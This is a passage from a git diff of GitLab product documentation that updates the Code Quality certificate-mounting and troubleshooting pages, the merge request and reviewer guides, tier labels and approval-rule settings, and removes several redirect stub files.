= true + volumes = ["/cache", "/etc/gitlab-runner/certs/gitlab.example.com.crt:/etc/docker/certs.d/gitlab.example.com/ca.crt:ro"] +``` + +Replace `gitlab.example.com` with the actual domain of the registry. + +### Kubernetes + +If you have access to GitLab Runner configuration and the Kubernetes cluster, +you can [mount a ConfigMap](https://docs.gitlab.com/runner/executors/kubernetes.html#configmap-volumes): + +1. Create a ConfigMap with the certificate: + + ```shell + kubectl create configmap registry-crt --namespace gitlab-runner --from-file /etc/gitlab-runner/certs/gitlab.example.com.crt + ``` + +1. Update GitLab Runner `config.toml` to specify the ConfigMap: + + ```toml + [[runners]] + ... + executor = "kubernetes" + [runners.kubernetes] + image = "alpine:3.12" + privileged = true + [[runners.kubernetes.volumes.config_map]] + name = "registry-crt" + mount_path = "/etc/docker/certs.d/gitlab.example.com/ca.crt" + sub_path = "gitlab.example.com.crt" + ``` + +Replace `gitlab.example.com` with the actual domain of the registry. + ## Troubleshooting ### Changing the default configuration has no effect @@ -428,7 +494,7 @@ Here's [an example project](https://gitlab.com/jheimbuck_gl/jh_java_example_proj A common issue is that the terms `Code Quality` (GitLab specific) and `Code Climate` (Engine used by GitLab) are very similar. You must add a **`.codeclimate.yml`** file to change the default configuration, **not** a `.codequality.yml` file. If you use -the wrong filename, the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml) +the wrong filename, the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template) is still used. ### No Code Quality report is displayed in a Merge Request @@ -438,21 +504,51 @@ This can be due to multiple reasons: - You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not have anything to compare to yet, so no information can be displayed. It only displays after future merge requests have something to compare to. -- Your pipeline is not set to run the code quality job on your default branch. If there is no report generated from the default branch, your MR branch reports will not have anything to compare to. +- Your pipeline is not set to run the code quality job on your default branch. If there is no report generated from the default branch, your MR branch reports have nothing to compare to. - If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks), nothing is displayed. - The [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in) CI/CD setting can cause the Code Quality artifact(s) to expire faster than desired. - If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request. -- Large `codeclimate.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737). +- Large `gl-code-quality-report.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737). As a work-around, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) that are [ignored by GitLab](#implementing-a-custom-tool). You can: - Configure the Code Quality tool to not output those types. - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to - edit the `codeclimate.json` before the job completes. + edit the `gl-code-quality-report.json` before the job completes. ### Only a single Code Quality report is displayed, but more are defined GitLab only uses the Code Quality artifact from the latest created job (with the largest job ID). If multiple jobs in a pipeline generate a code quality artifact, those of earlier jobs are ignored. -To avoid confusion, configure only one job to generate a `codeclimate.json`. +To avoid confusion, configure only one job to generate a `gl-code-quality-report.json`. + +### Rubocop errors + +When using Code Quality jobs on a Ruby project, you can encounter problems running Rubocop. +For example, the following error can appear when using either a very recent or very old version +of Ruby: + +```plaintext +/usr/local/bundle/gems/rubocop-0.52.1/lib/rubocop/config.rb:510:in `check_target_ruby': +Unknown Ruby version 2.7 found in `.ruby-version`. (RuboCop::ValidationError) +Supported versions: 2.1, 2.2, 2.3, 2.4, 2.5 +``` + +This is caused by the default version of Rubocop used by the check engine not covering +support for the Ruby version in use. + +To use a custom version of Rubocop that +[supports the version of Ruby used by the project](https://docs.rubocop.org/rubocop/compatibility.html#support-matrix), +you can [override the configuration through a `.codeclimate.yml` file](https://docs.codeclimate.com/docs/rubocop#using-rubocops-newer-versions) +created in the project repository. + +For example, to specify using Rubocop release **0.67**: + +```yaml +version: "2" +plugins: + rubocop: + enabled: true + channel: rubocop-0-67 +``` diff --git a/doc/user/project/merge_requests/code_quality_diff.md b/doc/user/project/merge_requests/code_quality_diff.md deleted file mode 100644 index 2b7b2574ef7..00000000000 --- a/doc/user/project/merge_requests/code_quality_diff.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'code_quality.md' ---- - -This document was moved to [another location](code_quality.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/container_scanning.md b/doc/user/project/merge_requests/container_scanning.md deleted file mode 100644 index 5d61f2b36e8..00000000000 --- a/doc/user/project/merge_requests/container_scanning.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../application_security/container_scanning/index.md' ---- - -This document was moved to [another location](../../application_security/container_scanning/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md index 5adc4ab6b6e..5cfedc6c9f1 100644 --- a/doc/user/project/merge_requests/creating_merge_requests.md +++ b/doc/user/project/merge_requests/creating_merge_requests.md @@ -7,7 +7,7 @@ description: "How to create Merge Requests in GitLab." disqus_identifier: 'https://docs.gitlab.com/ee/gitlab-basics/add-merge-request.html' --- -# How to create a merge request +# How to create a merge request **(FREE)** Before creating a merge request, read through an [introduction to Merge Requests](getting_started.md) @@ -178,7 +178,7 @@ fork from its upstream project in the **Settings > Advanced Settings** section b For further details, [see the forking workflow documentation](../repository/forking_workflow.md). -## New merge request by email **(CORE ONLY)** +## New merge request by email **(FREE SELF)** _This feature needs [incoming email](../../../administration/incoming_email.md) to be configured by a GitLab administrator to be available._ It isn't diff --git a/doc/user/project/merge_requests/csv_export.md b/doc/user/project/merge_requests/csv_export.md index 0de9f246ceb..f4843b96c99 100644 --- a/doc/user/project/merge_requests/csv_export.md +++ b/doc/user/project/merge_requests/csv_export.md @@ -4,7 +4,7 @@ group: Compliance info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Export Merge Requests to CSV **(CORE)** +# Export Merge Requests to CSV **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3619) in GitLab 13.6. diff --git a/doc/user/project/merge_requests/dast.md b/doc/user/project/merge_requests/dast.md deleted file mode 100644 index 37c0d5b4e37..00000000000 --- a/doc/user/project/merge_requests/dast.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../application_security/dast/index.md' ---- - -This document was moved to [another location](../../application_security/dast/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/dependency_scanning.md b/doc/user/project/merge_requests/dependency_scanning.md deleted file mode 100644 index dd5910121ed..00000000000 --- a/doc/user/project/merge_requests/dependency_scanning.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../application_security/dependency_scanning/index.md' ---- - -This document was moved to [another location](../../application_security/dependency_scanning/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/fast_forward_merge.md b/doc/user/project/merge_requests/fast_forward_merge.md index a89acff4bfc..c4a34f9c65c 100644 --- a/doc/user/project/merge_requests/fast_forward_merge.md +++ b/doc/user/project/merge_requests/fast_forward_merge.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, concepts --- -# Fast-forward merge requests +# Fast-forward merge requests **(FREE)** Sometimes, a workflow policy might mandate a clean commit history without merge commits. In such cases, the fast-forward merge is the perfect candidate. diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md index dc5e1f81a63..b1a57d9c3e6 100644 --- a/doc/user/project/merge_requests/getting_started.md +++ b/doc/user/project/merge_requests/getting_started.md @@ -6,7 +6,7 @@ type: index, reference description: "Getting started with Merge Requests." --- -# Getting started with Merge Requests +# Getting started with Merge Requests **(FREE)** A Merge Request (**MR**) is the basis of GitLab as a code collaboration and version control. @@ -53,10 +53,10 @@ When you start a new merge request, you can immediately include the following options, or add them later by clicking the **Edit** button on the merge request's page at the top-right side: -- [Assign](#assignee) the merge request to a colleague for review. With GitLab Starter and higher tiers, you can [assign it to more than one person at a time](#multiple-assignees). +- [Assign](#assignee) the merge request to a colleague for review. With [multiple assignees](#multiple-assignees), you can assign it to more than one person at a time. - Set a [milestone](../milestones/index.md) to track time-sensitive changes. - Add [labels](../labels.md) to help contextualize and filter your merge requests over time. -- Require [approval](merge_request_approvals.md) from your team. **(STARTER)** +- Require [approval](merge_request_approvals.md) from your team. **(PREMIUM)** - [Close issues automatically](#merge-requests-to-close-issues) when they are merged. - Enable the [delete source branch when merge request is accepted](#deleting-the-source-branch) option to keep your repository clean. - Enable the [squash commits when merge request is accepted](squash_and_merge.md) option to combine all the commits into one before merging, thus keep a clean commit history in your repository. @@ -87,9 +87,10 @@ Open the drop down box to search for the user you wish to assign, and the merge request will be added to their [assigned merge request list](../../search/index.md#issues-and-merge-requests). -#### Multiple assignees **(STARTER)** +#### Multiple assignees **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2004) in [GitLab Starter 11.11](https://about.gitlab.com/pricing/). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2004) in GitLab 11.11. +> - Moved to GitLab Premium in 13.9 Multiple people often review merge requests at the same time. GitLab allows you to have multiple assignees for merge requests @@ -114,16 +115,9 @@ It is also possible to manage multiple assignees: ### Reviewer > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216054) in GitLab 13.5. -> - It was [deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49787) on GitLab 13.7. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - It can be enabled or disabled for a single project. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-merge-request-reviewers). **(CORE ONLY)** +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/245190) in GitLab 13.9. WARNING: -This feature might not be available to you. Check the **version history** note above for details. - Requesting a code review is an important part of contributing code. However, deciding who should review your code and asking for a review are no easy tasks. Using the "assignee" field for both authors and reviewers makes it hard for others to determine who's doing what on a merge request. @@ -136,48 +130,14 @@ This makes it easy to determine the relevant roles for the users involved in the To request it, open the **Reviewers** drop-down box to search for the user you wish to get a review from. -#### Enable or disable Merge Request Reviewers **(CORE ONLY)** - -Merge Request Reviewers is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -# For the instance -Feature.enable(:merge_request_reviewers) -# For a single project -Feature.enable(:merge_request_reviewers, Project.find(<project id>)) -``` - -To disable it: +#### Approval Rule information for Reviewers **(PREMIUM)** -```ruby -# For the instance -Feature.disable(:merge_request_reviewers) -# For a single project -Feature.disable(:merge_request_reviewers, Project.find(<project id>)) -``` - -#### Approval Rule information for Reviewers **(STARTER)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233736) in GitLab 13.8. -> - It was [deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51183) in GitLab 13.8. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - It can be enabled or disabled for a single project. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-approval-rule-information-for-reviewers). **(STARTER ONLY)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233736) in GitLab 13.8. For this version only, GitLab administrators can opt to [enable it](#enable-or-disable-approval-rule-information). +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/293742) in GitLab 13.9. When editing the **Reviewers** field in a new or existing merge request, GitLab displays the name of the matching [approval rule](merge_request_approvals.md#approval-rules) -below the name of each suggested reviewer. [Code Owners](../code_owners.md) are displayed as **Code Owner** without group detail. -We intend to iterate on this feature in future releases. +below the name of each suggested reviewer. [Code Owners](../code_owners.md) are displayed as `Codeowner` without group detail. This example shows reviewers and approval rules when creating a new merge request: @@ -187,30 +147,20 @@ This example shows reviewers and approval rules in a merge request sidebar:  -##### Enable or disable Approval Rule information for Reviewers **(STARTER ONLY)** +#### Requesting a new review -Merge Request Reviewers is under development and ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/293933) in GitLab 13.9. -```ruby -# For the instance -Feature.enable(:reviewer_approval_rules) -# For a single project -Feature.enable(:reviewer_approval_rules, Project.find(<project id>)) -``` +After a reviewer completes their [merge request reviews](../../discussions/index.md), +the author of the merge request can request a new review from the reviewer: -To disable it: +1. If the right sidebar in the merge request is collapsed, click the + **{chevron-double-lg-left}** **Expand Sidebar** icon to expand it. +1. In the **Reviewers** section, click the **Re-request a review** icon (**{redo}**) + next to the reviewer's name. -```ruby -# For the instance -Feature.disable(:reviewer_approval_rules) -# For a single project -Feature.disable(:reviewer_approval_rules, Project.find(<project id>)) -``` +GitLab creates a new [to-do item](../../todos.md) for the reviewer, and sends +them a notification email. ### Merge requests to close issues @@ -244,6 +194,33 @@ is set for deletion, the merge request widget displays the  +### Branch retargeting on merge **(FREE SELF)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/320902) in GitLab 13.9. +> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-branch-retargeting-on-merge). + +In specific circumstances, GitLab can retarget the destination branch of +open merge request, if the destination branch merges while the merge request is +open. Merge requests are often chained in this manner, with one merge request +depending on another: + +- **Merge request 1**: merge `feature-alpha` into `master`. +- **Merge request 2**: merge `feature-beta` into `feature-alpha`. + +These merge requests are usually handled in one of these ways: + +- Merge request 1 is merged into `master` first. Merge request 2 is then + retargeted to `master`. +- Merge request 2 is merged into `feature-alpha`. The updated merge request 1, which + now contains the contents of `feature-alpha` and `feature-beta`, is merged into `master`. + +GitLab retargets up to four merge requests when their target branch is merged into +`master`, so you don't need to perform this operation manually. Merge requests from +forks are not retargeted. + ## Recommendations and best practices for Merge Requests - When working locally in your branch, add multiple commits and only push when @@ -253,3 +230,49 @@ is set for deletion, the merge request widget displays the - Take one thing at a time and ship the smallest changes possible. By doing so, reviews are faster and your changes are less prone to errors. - Do not use capital letters nor special chars in branch names. + +## Enable or disable Approval Rule information **(PREMIUM SELF)** + +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/293742) in GitLab 13.9. + +Merge Request Reviewers is under development and ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +# For the instance +Feature.enable(:reviewer_approval_rules) +# For a single project +Feature.enable(:reviewer_approval_rules, Project.find(<project id>)) +``` + +To disable it: + +```ruby +# For the instance +Feature.disable(:reviewer_approval_rules) +# For a single project +Feature.disable(:reviewer_approval_rules, Project.find(<project id>)) +``` + +### Enable or disable branch retargeting on merge **(FREE SELF)** + +Automatically retargeting merge requests is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:retarget_merge_requests) +``` + +To disable it: + +```ruby +Feature.disable(:retarget_merge_requests) +``` diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md index 6af6cad5cdd..8ccf50e48b8 100644 --- a/doc/user/project/merge_requests/index.md +++ b/doc/user/project/merge_requests/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, reference --- -# Merge requests +# Merge requests **(FREE)** A Merge Request (**MR**) is a _request_ to _merge_ one branch into another. diff --git a/doc/user/project/merge_requests/license_management.md b/doc/user/project/merge_requests/license_management.md deleted file mode 100644 index 4c598d851a9..00000000000 --- a/doc/user/project/merge_requests/license_management.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../compliance/license_compliance/index.md' ---- - -This document was moved to [another location](../../compliance/license_compliance/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/maintainer_access.md b/doc/user/project/merge_requests/maintainer_access.md deleted file mode 100644 index 29afff289fd..00000000000 --- a/doc/user/project/merge_requests/maintainer_access.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'allow_collaboration.md' ---- - -This document was moved to [another location](allow_collaboration.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/merge_request_approvals.md b/doc/user/project/merge_requests/merge_request_approvals.md index 887f563be51..1fcc09a9d8a 100644 --- a/doc/user/project/merge_requests/merge_request_approvals.md +++ b/doc/user/project/merge_requests/merge_request_approvals.md @@ -5,27 +5,28 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, concepts --- -# Merge Request Approvals **(CORE)** +# Merge Request Approvals **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/580) in GitLab Enterprise Edition 7.2. Available in GitLab Core and higher tiers. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/580) in GitLab Enterprise Edition 7.2. Available in GitLab Free and higher tiers. > - Redesign [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1979) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8 and [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/10685) in 12.0. -Code review is an essential practice of every successful project, and giving your -approval once a merge request is in good shape is an important part of the review +Code review is an essential practice of every successful project. Approving a +merge request is an important part of the review process, as it clearly communicates the ability to merge the change. ## Optional Approvals > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27426) in GitLab 13.2. -Any user with Developer or greater [permissions](../../permissions.md) can approve a merge request in GitLab Core and higher tiers. -This provides a consistent mechanism for reviewers to approve merge requests, and makes it easy for -maintainers to know when a change is ready to merge. Approvals in Core are optional and do +Any user with Developer or greater [permissions](../../permissions.md) can approve a merge request in GitLab Free and higher tiers. +This provides a consistent mechanism for reviewers to approve merge requests, and ensures +maintainers know a change is ready to merge. Approvals in Free are optional, and do not prevent a merge request from being merged when there is no approval. -## Required Approvals **(STARTER)** +## Required Approvals **(PREMIUM)** -> [Introduced](https://about.gitlab.com/releases/2015/06/22/gitlab-7-12-released/#merge-request-approvers-ee-only) in GitLab Enterprise Edition 7.12. Available in [GitLab Starter](https://about.gitlab.com/pricing/) and higher tiers. +> - [Introduced](https://about.gitlab.com/releases/2015/06/22/gitlab-7-12-released/#merge-request-approvers-ee-only) in GitLab Enterprise Edition 7.12. +> - Moved to GitLab Premium in 13.9. Required approvals enable enforced code review by requiring specified people to approve a merge request before it can be merged. @@ -50,13 +51,12 @@ be merged, and optionally which users should do the approving. Approvals can be - [As project defaults](#adding--editing-a-default-approval-rule). - [Per merge request](#editing--overriding-approval-rules-per-merge-request). -If no approval rules are defined, any user can approve a merge request, though the default -minimum number of required approvers can still be set in the [project settings for merge request approvals](#merge-request-approvals-project-settings). +If no approval rules are defined, any user can approve a merge request. However, the default +minimum number of required approvers can still be set in the +[project settings for merge request approvals](#merge-request-approvals-project-settings). You can opt to define one single rule to approve a merge request among the available rules -or choose more than one. Single approval rules are available in GitLab Starter and higher tiers, -while [multiple approval rules](#multiple-approval-rules) are available in -[GitLab Premium](https://about.gitlab.com/pricing/) and above. +or choose more than one with [multiple approval rules](#multiple-approval-rules). NOTE: On GitLab.com, you can add a group as an approver if you're a member of that group or the @@ -64,7 +64,7 @@ group is public. #### Eligible Approvers -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10294) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.3, when an eligible approver comments on a merge request, it appears in the **Commented by** column of the Approvals widget. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10294) in GitLab 13.3, when an eligible approver comments on a merge request, it appears in the **Commented by** column of the Approvals widget. The following users can approve merge requests: @@ -83,29 +83,31 @@ A group of users can also be added as approvers. In the future, group approvers [restricted to only groups with share access to the project](https://gitlab.com/gitlab-org/gitlab/-/issues/2048). If a user is added as an individual approver and is also part of a group approver, -then that user is just counted once. The merge request author, as well as users who have committed +then that user is just counted once. The merge request author, and users who have committed to the merge request, do not count as eligible approvers, if [**Prevent author approval**](#allowing-merge-request-authors-to-approve-their-own-merge-requests) (enabled by default) and [**Prevent committers approval**](#prevent-approval-of-merge-requests-by-their-committers) (disabled by default) are enabled on the project settings. -When an eligible approver comments on a merge request, it appears in the **Commented by** column of the Approvals widget, -indicating who has engaged in the merge request review. Authors and reviewers can also easily identify who they should reach out -to if they have any questions or inputs about the content of the merge request. +When an eligible approver comments on a merge request, it displays in the +**Commented by** column of the Approvals widget. It indicates who participated in +the merge request review. Authors and reviewers can also identify who they should reach out +to if they have any questions about the content of the merge request. ##### Implicit Approvers If the number of required approvals is greater than the number of assigned approvers, -approvals from other users will count towards meeting the requirement. These would be +approvals from other users counts towards meeting the requirement. These would be users with developer [permissions](../../permissions.md) or higher in the project who were not explicitly listed in the approval rules. ##### Code Owners as eligible approvers -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7933) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7933) in GitLab 11.5. +> - Moved to GitLab Premium in 13.9. If you add [Code Owners](../code_owners.md) to your repository, the owners to the -corresponding files will become eligible approvers, together with members with Developer +corresponding files become eligible approvers, together with members with Developer or higher [permissions](../../permissions.md). To enable this merge request approval rule: @@ -117,16 +119,17 @@ To enable this merge request approval rule:  Once set, merge requests can only be merged once approved by the -number of approvals you've set. GitLab will accept approvals from +number of approvals you've set. GitLab accepts approvals from users with Developer or higher permissions, as well as by Code Owners, indistinguishably. Alternatively, you can **require** -[Code Owner's approvals for Protected Branches](../protected_branches.md#protected-branches-approval-by-code-owners). **(PREMIUM)** +[Code Owner's approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners). **(PREMIUM)** #### Merge Request approval segregation of duties -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40491) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40491) in GitLab 13.4. +> - Moved to Premium in 13.9. Managers or operators with [Reporter permissions](../../permissions.md#project-members-permissions) to a project sometimes need to be required approvers of a merge request, @@ -156,27 +159,27 @@ To add or edit the default merge request approval rule: 1. Click **Add approval rule**, or **Edit**. - Add or change the **Rule name**. - Set the number of required approvals in **Approvals required**. The minimum value is `0`. - - (Optional) Search for users or groups that will be [eligible to approve](#eligible-approvers) + - (Optional) Search for users or groups that are [eligible to approve](#eligible-approvers) merge requests and click the **Add** button to add them as approvers. Before typing - in the search field, approvers will be suggested based on the previous authors of + in the search field, approvers are suggested based on the previous authors of the files being changed by the merge request. - (Optional) Click the **{remove}** **Remove** button next to a group or user to delete it from the rule. 1. Click **Add approval rule** or **Update approval rule**. When [approval rule overrides](#prevent-overriding-default-approvals) are allowed, -changes to these default rules will **not** be applied to existing merge +changes to these default rules are not applied to existing merge requests, except for changes to the [target branch](#scoped-to-protected-branch) of the rule. When approval rule overrides are not allowed, all changes to these default rules -will be applied to existing merge requests. Any approval rules that had previously been +are applied to existing merge requests. Any approval rules that had previously been manually [overridden](#editing--overriding-approval-rules-per-merge-request) during a -period when approval rule overrides where allowed, will not be modified. +period when approval rule overrides where allowed, are not modified. NOTE: If a merge request targets a different project, such as from a fork to the upstream project, -the default approval rules will be taken from the target (upstream) project, not the +the default approval rules are taken from the target (upstream) project, not the source (fork). ##### Editing / overriding approval rules per merge request @@ -195,8 +198,8 @@ the same steps as [Adding / editing a default approval rule](#adding--editing-a- #### Set up an optional approval rule -MR approvals can be configured to be optional. -This can be useful if you're working on a team where approvals are appreciated, but not required. +MR approvals can be configured to be optional, which can help if you're working +on a team where approvals are appreciated, but not required. To configure an approval to be optional, set the number of required approvals in **Approvals required** to `0`. @@ -211,20 +214,20 @@ as well as multiple default approval rules per project. Adding or editing multiple default rules is identical to [adding or editing a single default approval rule](#adding--editing-a-default-approval-rule), -except the **Add approval rule** button will be available to add more rules, even after +except the **Add approval rule** button is available to add more rules, even after a rule is already defined. Similarly, editing or overriding multiple approval rules per merge request is identical to [editing or overriding approval rules per merge request](#editing--overriding-approval-rules-per-merge-request), -except the **Add approval rule** button will be available to add more rules, even after +except the **Add approval rule** button is available to add more rules, even after a rule is already defined. -When an [eligible approver](#eligible-approvers) approves a merge request, it will -reduce the number of approvals left for all rules that the approver belongs to. +When an [eligible approver](#eligible-approvers) approves a merge request, it +reduces the number of approvals left for all rules that the approver belongs to.  -#### Scoped to Protected Branch **(PREMIUM)** +#### Scoped to protected branch **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/460) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.8. @@ -236,7 +239,7 @@ the **Target branch** dropdown. Alternatively, you can select a very specific protected branch from the **Target branch** dropdown: - + To enable this configuration, see [Code Owner’s approvals for protected branches](../protected_branches.md#protected-branches-approval-by-code-owners). @@ -269,7 +272,7 @@ The merge request author is not allowed to approve their own merge request if [**Prevent author approval**](#allowing-merge-request-authors-to-approve-their-own-merge-requests) is enabled in the project settings. -Once the approval rules have been met, the merge request can be merged if there is nothing +After the approval rules have been met, the merge request can be merged if there is nothing else blocking it. Note that the merge request could still be blocked by other conditions, such as merge conflicts, [pending discussions](../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved), or a [failed CI/CD pipeline](merge_when_pipeline_succeeds.md). @@ -291,7 +294,7 @@ To prevent that from happening: #### Resetting approvals on push You can force all approvals on a merge request to be removed when new commits are -pushed to the source branch of the merge request. If disabled, approvals will persist +pushed to the source branch of the merge request. If disabled, approvals persist even if there are changes added to the merge request. To enable this feature: 1. Check the **Require new approvals when new commits are added to an MR.** @@ -300,11 +303,12 @@ even if there are changes added to the merge request. To enable this feature: NOTE: Approvals do not get reset when [rebasing a merge request](fast_forward_merge.md) -from the UI. However, approvals will be reset if the target branch is changed. +from the UI. However, approvals are reset if the target branch is changed. -#### Allowing merge request authors to approve their own merge requests +#### Allowing merge request authors to approve their own merge requests **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3349) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3349) in GitLab 11.3. +> - Moved to GitLab Premium in 13.9. By default, projects are configured to prevent merge requests from being approved by their own authors. To change this setting: @@ -315,24 +319,38 @@ their own authors. To change this setting: Note that users can edit the approval rules in every merge request and override pre-defined settings unless it's set [**not to allow** overrides](#prevent-overriding-default-approvals). -#### Prevent approval of merge requests by their committers +You can prevent authors from approving their own merge requests +[at the instance level](../../admin_area/merge_requests_approvals.md). When enabled, +this setting is disabled on the project level, and not editable. -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10441) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.10. +#### Prevent approval of merge requests by their committers **(PREMIUM)** -You can prevent users that have committed to a merge request from approving it. To -enable this feature: +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10441) in GitLab 11.10. +> - Moved to GitLab Premium in 13.9. + +You can prevent users who have committed to a merge request from approving it, +though code authors can still approve. You can enable this feature +[at the instance level](../../admin_area/merge_requests_approvals.md), which +disables changes to this feature at the project level. If you prefer to manage +this feature at the project level, you can: 1. Check the **Prevent MR approvals from users who make commits to the MR.** checkbox. + If this check box is disabled, this feature has been disabled + [at the instance level](../../admin_area/merge_requests_approvals.md). 1. Click **Save changes**. +Read the official Git documentation for an explanation of the +[differences between authors and committers](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History). + #### Require authentication when approving a merge request -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5981) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5981) in GitLab 12.0. +> - Moved to GitLab Premium in 13.9. NOTE: To require authentication when approving a merge request, you must enable **Password authentication enabled for web interface** under [sign-in restrictions](../../admin_area/settings/sign_in_restrictions.md#password-authentication-enabled). -in the Admin area. +in the Admin Area. You can force the approver to enter a password in order to authenticate before adding the approval. This enables an Electronic Signature for approvals such as the one defined diff --git a/doc/user/project/merge_requests/merge_request_dependencies.md 